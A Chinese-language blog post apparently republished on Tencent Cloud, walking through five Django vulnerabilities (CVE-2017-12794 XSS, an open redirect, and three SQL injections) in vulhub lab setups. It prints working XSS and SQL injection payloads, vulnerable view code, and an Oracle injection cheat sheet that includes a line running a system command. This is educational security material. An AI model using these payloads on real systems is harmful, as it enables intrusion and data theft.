前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Django漏洞系列

Django漏洞系列

作者头像
Tommonkey
发布2023-03-20 11:15:19
2.4K0
发布2023-03-20 11:15:19
举报
文章被收录于专栏:TommonkeyTommonkey

Django是啥就不多介绍了,直接步入正题吧

Django debug page XSS

漏洞编号:CVE-2017-12794 该漏洞利用版本需小于1.11.5以下(在1.11.5以上已修复漏洞)。产生该漏洞的原因是重复创建具有Unique约束键的值导致出发数据库Unique异常,并且没有对用户输入的字符进行检查与转义。所以,想要利用这个漏洞的条件主要有几下几点:

  • Django版本需要小于1.11.5以下
  • 输入的参数在数据库中具有Unique约束属性,即唯一性
  • 没有对用户输入的参数进行检查与转义

这里以vulhub靶场来演示一下,搭建好靶场后直接访问:

代码语言:javascript
复制
http://127.0.0.1:8000/creat_user/?username=<script>alert(1)</script>  

创建用户名为:<script>alert(1)</script>,然后我们在回车一次,在创建一次,就会触发唯一约束报错,同时又没有对用户进行转义导致直接运行用户输入的恶意代码。

1-1
1-1
1-2
1-2

通过debug页面查看确实是没有对用户输入参数检查

1-3
1-3

任意URL跳转漏洞

漏洞编号:CVE-2018-14574 这个漏洞感觉没多大用处,所以我就只直接引用vulhub文档的原话吧:Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞,这里简单演示下吧!搭建环境,直接开干!

1-4
1-4
1-5
1-5
1-6
1-6

跳转成功!!!

Django JSONField/HStoreField SQL注入漏洞

漏洞编号:CVE-2019-14234 开发者在Django中使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。访问vulhub搭建好的靶场:

1-7
1-7

登录后台:用户名密码为:admin/a123123123

1-8
1-8

进入模型Collection的管理页面http://your-ip:8000/admin/vuln/collection/

1-9
1-9
1-10
1-10
1-11
1-11

payload分析:

代码语言:javascript
复制
?detail__a%27+%3d+%27"b"%27)%20and%208888%3dCAST((SELECT%20user)::text%20as%20NUMERIC)--  

对detail的参数进行闭合,配合and进行联合报错注入,将select user的内容类型转换成text,在通过CAST将类型转换为NUMERIC类型,结果与8888不相等,判断为假,导致报错,从而带出信息。这里使用的数据库是Postgersql,关于该数据库的详细信息以及注入知识请在本站搜索文章:Postgresql相关知识及注入

Django GIS SQL注入漏洞

漏洞编号:CVE-2020-9402 在Django 3.0.3版本以下的GIS查询功能模块(GPS定位相关模块)中存在的SQL注入漏洞,其产生漏洞的原因是GIS的聚合查询功能中,用户在oracle的数据库且可控tolerance变量,并且要命的是未对该变量做任何的用户输入检查,从而导致了该漏洞。如下是tolerance变量所在的代码:

代码语言:javascript
复制
def vuln(request):
    q = request.GET.get('q')
    qs=Interstate.objects.annotate(
            d=Distance(
                Point(-0.0733675346842369, -0.0295208671625432, srid=4326),
                Point(0.009735976166628611, -0.00587635491086091, srid=4326),
                tolerance = q, # default 0.05
            ),
        ).filter(d=D(m=1)).values('name')

这里可以看见直接从数据包中取出q参数赋值给q,q再赋值给tolerance变量,这个过程中完全没有对q进行检查!!!我们搭建靶场模拟一下实战攻击,数据库使用的Oracle,所以下面贴出有关Oracle注入的相关知识:

DBA:代表拥有全部权限,是系统最高权限,只有DBA才可以创建数据库结构

RESOURCE:该权限的用户只可以创建实体,不可以创建数据库

CONNETC:该权限下的用户只可以登录ORACLE,不可以创建数据库也不可以创建实体

dual表:此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上位满足查询条件而产生的。与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual

rownum=1:限制查询返回的总行数为一条,列如:rownum<3 表示输出两条数据

代码语言:javascript
复制
# 查询出所有的表
select * from all_tables 

# 查询出当前用户的表
select * from user_tables 

# 查询出所有的字段
select*from all_tab_columns 

# 查询出当前用户的字段
select*from user_tab_columns  

# 查版本
select*from v$version

# 报错函数,oracle相关报错很多,这里不一一列举,感兴趣请自行谷歌噢
uti_inaddr.get_host_name((select user from dual))

# Oracle 猜字段
?id=1 order by 3 --+ 

# 判断回显位
?id=-1 union select null,null,null from dual --+

# 获取信息
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+

# 获取表名
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+

# 执行系统命令
select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

访问靶场url

1-12
1-12

根据前面代码中发现的参数’q’,我们在url中添加参数q并构造闭合sql语句

代码语言:javascript
复制
?q=20)%20%3d%201%20OR%20(select%20utl_inaddr.get_host_name((select%20user%20from%20dual))%20from%20dual)%20is%20null%20%20OR%20(1  
1-13
1-13

该模块除了在tolerance引起的sql注入,还在另外一处也是由于为检查用户输入的原因造成sql注入,位置在union处(tips:tolerance的默认值为:0.05):

代码语言:javascript
复制
from django.contrib.gis.db.models import Union
def vuln2(request):
    q = request.GET.get('q')
    res = City.objects.aggregate(
            Union('point', tolerance=q),
    )
    return HttpResponse(res)

Union在oracle的作用是起到聚合的作用,将多个sql语句聚合在一起,前提是这些多个sql语句需要保持相同的列数,这与mysql的union相似,上面的输入的sql语句为:

代码语言:javascript
复制
SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON 
("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") 
WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY
(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1  OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;

这里我们直接构造闭合 ) 即可完成注入,搭建靶场,看下实列:

1-14
1-14

根据上面输出的sql语句构造闭合

代码语言:javascript
复制
?q=0.05)))%20FROM%20"VULN_COLLECTION2"%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--  

这个漏洞利用的前提是要知道“VULN_COLLECTION2”在实际生成环境中叫什么,不然报错

1-15
1-15

Django QuerySet.order_by() SQL注入漏洞

漏洞编号:CVE-2021-35042 Django3.2.4中的QuerySet模块中关于的order_by函数中存在的SQL注入漏洞,原因是未对order by传参进行检查,导致的注入。搭建靶场,访问:

1-16
1-16

根据漏洞描述,添加order参数进行传参

1-17
1-17

随便添加一些东西,看debug的报错

可以看见对取到的值是直接赋值并没有检查机制,并且带入数据库的sq语句为:

1-19
1-19

构造payload

1-20
1-20

vuln是我们的应用程序和collection模型,实际的每个生产环境是不一样的噢

over!!!

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-07-282,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Django debug page XSS
  • 任意URL跳转漏洞
  • Django JSONField/HStoreField SQL注入漏洞
  • Django GIS SQL注入漏洞
  • Django QuerySet.order_by() SQL注入漏洞
  • over!!!
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档